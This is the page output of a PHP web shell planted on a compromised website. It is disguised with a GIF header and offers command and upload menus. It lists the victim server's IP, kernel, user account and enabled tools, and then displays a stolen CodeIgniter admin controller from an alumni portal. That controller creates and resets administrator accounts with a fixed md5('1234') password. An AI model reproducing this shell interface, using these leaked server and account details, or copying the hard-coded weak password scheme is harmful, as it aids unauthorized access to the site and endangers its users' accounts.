GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 18.226.82.90
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/css/../../css/../alumni/application/controllers/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/css/../../css/../alumni/application/controllers/admin/Admin.php
<?php
/**
 * Description of User
 *
 * @author Softpro India Pvt. Ltd.
 */
class Admin extends CI_Controller {

    //put your code here
    public function __construct() {
        parent::__construct();
        $this->load->model("admin/AdminManagement");
    }

    public function index() {
        if ($this->sessionvalidator->validateSession() && $this->sessionvalidator->getRole() == "Master Admin") {
            $adminData=$this->session->userdata("alumni_admin_data");
            //print_r($adminData);
            //exit;
            $viewData["admins"] = $this->AdminManagement->getAdmins($adminData["admin_userid"])->result();
            $this->load->view("admin/admins", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createAdmin() {
        if ($this->sessionvalidator->validateSession() && $this->sessionvalidator->getRole() == "Master Admin") {
            $this->load->view("admin/createAdmin");
        } else {
            redirect("admin/");
        }
    }

    public function saveAdmin() {
        if ($this->sessionvalidator->validateSession() && $this->sessionvalidator->getRole() == "Master Admin") {
            $this->form_validation->set_rules("a_name", "admin name", "required", array("required" => "Enter Admin Name."));
            $this->form_validation->set_rules("a_userid", "admin userid", "required", array("required" => "Enter Admin UserID."));
            $this->form_validation->set_rules("a_role", "admin role", "required", array("required" => "Select Admin Role."));

            if ($this->form_validation->run() == false) {
                $this->createAdmin();
            } else {
                $a_name = addslashes(trim($this->input->post("a_name")));
                $a_userid = $this->input->post("a_userid");
                $a_role = $this->input->post("a_role");
                //echo sizeof($this->AdminManagement->getAdminByUserID($a_userid)->result());
                //exit;
                if (sizeof($this->AdminManagement->getAdminByUserID($a_userid)->result()) > 0) {
                    $this->session->set_flashdata("errorMessage", "Admin Already Registered With This UserID - $a_userid");
                    $this->createAdmin();
                } else {
                    $adminDetails = array(
                        "admin_name" => $a_name,
                        "admin_userid" => $a_userid,
                        "admin_role" => $a_role,
                        "admin_date_added" => date("Y-m-d"),
                        "admin_password" => md5("1234"),
                        "admin_status" => "t");

                    $adminID = $this->AdminManagement->saveAdmin($adminDetails);
                    if ($adminID > 0) {
                        $this->session->set_flashdata("successMessage", "Admin Created Successfully.");
                        $this->index();
                    } else {
                        $this->session->set_flashdata("errorMessage", "Failed To Create Admin.");
                        $this->createAdmin();
                    }
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function resetPassword($admin_id) {
        if ($this->sessionvalidator->validateSession() && $this->sessionvalidator->getRole() == "Master Admin") {
            $adminDetails = array("admin_password" => md5("1234"), "admin_id" => $admin_id);
            if ($this->AdminManagement->updateAdmin($adminDetails)) {
                $this->session->set_flashdata("successMessage", "Admin Password Was Reset Successfully To (1234).");
                redirect("admin/Admin");
            } else {
                $this->session->set_flashdata("errorMessage", "Failed To Reset Admin Password.");
                $this->index();
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleAdminStatus($admin_id, $changedStatus) {
        if ($this->sessionvalidator->validateSession() && $this->sessionvalidator->getRole() == "Master Admin") {

            $adminUpdateData = array(
                'admin_id' => $admin_id,
                'admin_status' => $changedStatus
            );
            if ($this->AdminManagement->updateAdmin($adminUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Admin Status Updated Successfully.');
                redirect("admin/Admin");
            } else {
                $this->session->set_flashdata('errorMessage', 'Failed To Update Admin Status.');
                redirect("admin/Admin");
            }
        } else {
            redirect("admin/");
        }
    }

}

KBHT - 2023